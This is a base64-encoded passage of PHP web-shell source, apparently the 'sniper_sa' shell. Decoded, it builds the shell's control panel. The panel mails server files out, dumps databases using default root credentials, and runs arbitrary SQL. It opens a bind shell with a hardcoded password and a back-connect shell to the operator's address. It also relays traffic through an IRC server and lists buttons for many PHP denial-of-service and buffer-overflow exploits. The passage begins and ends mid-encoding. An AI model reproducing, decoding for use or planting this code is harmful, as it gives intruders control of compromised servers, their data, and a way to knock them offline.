ciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsNDUsKCFlbXB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzdWJqJyw0NSwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10pOigiaGVsbG8gYmlsbHkiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0zMyByb3dzPTI+Jy4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSkuJzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA0J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2ZpbGUnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnJvbSddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1YmonLDQ1LCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJmaWxlIGZyb20gc25pcGVyX3NhIHNoZWxsIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCRteXNxbF9vbnx8JG1zc3FsX29ufHwkcGdfb258fCRvcmFfb24pDQp7DQokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOw0KaWYoJG15c3FsX29uKSAkc2VsZWN0IC49ICc8b3B0aW9uPk15U1FMPC9vcHRpb24+JzsNCmlmKCRtc3NxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlvbj5NU1NRTDwvb3B0aW9uPic7DQppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24+UG9zdGdyZVNRTDwvb3B0aW9uPic7DQppZigkb3JhX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24+T3JhY2xlPC9vcHRpb24+JzsNCiRzZWxlY3QgLj0gJzwvc2VsZWN0Pic7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDIwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjAnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3QiKSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9QT1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1RbJ215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3RibCddKT8oJF9QT1NUWydteXNxbF90YmwnXSk6KCJ1c2VyIikpKSk7DQplY2hvIHNyKDM1LGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbXlzcWxfZHVtcCcpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnZGlmIGlkPWRpZicsMCwnMScpLmluKCd0ZXh0JywnZGlmX25hbWUnLDMxLCghZW1wdHkoJF9QT1NUWydkaWZfbmFtZSddKT8oJF9QT1NUWydkaWZfbmFtZSddKTooImR1bXAuc3FsIikpKSk7DQplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDknXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGJfc2VydmVyJywxNSwoIWVtcHR5KCRfUE9TVFsnZGJfc2VydmVyJ10pPygkX1BPU1RbJ2RiX3NlcnZlciddKTooImxvY2FsaG9zdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnZGJfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDE1LCghZW1wdHkoJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ICcuaW4oJ3RleHQnLCdteXNxbF9wJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWydteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2RiJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODQnXS4kYXJyb3cuIjwvYj4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKSwiIik7DQplY2hvICR0ZS4iPGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjx0ZXh0YXJlYSBjb2xzPTU1IHJvd3M9MSBuYW1lPWRiX3F1ZXJ5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBEQVRBQkFTRVM7IikpLiI8L3RleHRhcmVhPjxicj4iLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkuIjwvZGl2PjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQnLDE1LCc5OTk5JykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnYmluZF9wYXNzJywxNSwnU25JcEVyJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDMnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMiddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcCcsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKSkpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTUsJzgwJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+Qzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDQnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMiddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NhbF9wb3J0JywxNSwnODAnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfaG9zdCcsMTUsJ2lyYy5kYWxuZXQucnUnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfcG9ydCcsMTUsJzY2NjcnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5kYXRhcGlwZS5wbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJDXCI+ZGF0YXBpcGUuYzwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDUnXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KfQ0KDQppZigkdW5peCl7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MSddLCdpZDIxJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzQlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY2FkbWluJywxNSwnaXJjYWRtaW4nKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMTUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXJjc2VydmVyJywxNSwnaXJjc2VydmVyJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY2NoYW5hbCcsMTUsJ2lyY2NoYW5sJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lyY25hbWUnLDE1LCdpcmNuYW1lJykpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTInXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnaXBzJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPyAoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0cycsMTUsJzgwJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IHNpemU9XCIxXCIgbmFtZT1cInVzZVwiPjxvcHRpb24gdmFsdWU9XCJQZXJsXCI+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDQwLCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDQnXSkpOw0KDQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzAnXSwnaWQxMDEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAxMCcpLiR0cy4iPHRyPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTI1JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBjb2xvcj1yZWQgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMxJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdSZWN1cnNpdmUgbWVtb3J5IGV4aGF1c3Rpb24nKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ01lbW9yeV9saW1pdCBbcGFjaygpXScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFt1bnNlcmlhbGl6ZSgpXScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFplbmRFbmdpbmUnKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1NRbGl0ZSBbZGwoKV0gdnVsbicpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M2JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnUENSRSBbcHJlZ19tYXRjaCgpXShQSFA8NS4yLjEpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczcnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdNZW1fbGltaXQgW3N0cl9yZXBlYXQoKV0oUEhQPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXBhY2hlIHByb2Nlc3Mga2lsbGVyJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczknKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdPdmVybG9hZCBbdGVtcG5hbSgpXShQSFA8NS4xLjIpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEwJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFt3b3Jkd3JhcCgpXShQSFA8NS4xLjIpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczExJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFthcnJheV9maWxsKCldKFBIUDw1LjEuMiknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW3N1YnN0cl9jb21wYXJlKCldKFBIUDw1LjEuMiknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdBcnIuIENyLiA2NGJbdW5zZXJpYWxpemUoKV0oUEhQPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbc3RyX2lyZXBsYWNlKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2h0bWxlbnRpdGllcygpXShQSFA8NS4xLjYsNC40LjQpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE2JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFt6aXBfZW50cnlfcmVhZCgpXShQSFA8NC40LjUpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtzcWxpdGVfdWRmX2RlY29kZV9iaW5hcnkoKV0oUEhQPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbbXNnX3JlY2VpdmUoKV0oUEhQPDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxOScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbcGhwX3N0cmVhbV9maWx0ZXJfY3JlYXRlKCldKFBIUDU8NS4yLjEpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIwJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFt1bnNlcmlhbGl6ZSgpXShQSFA8NC40LjQpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIxJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtnZEltYWdlQ3JlYXRlVHJ1ZUNvbG9yKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2dkSW1hZ2VDb3B5UmVzaXplZCgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnRG9TIFtpY29udl9zdWJzdHIoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbc2V0bG9jYWxlKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9MjUlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzEnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsM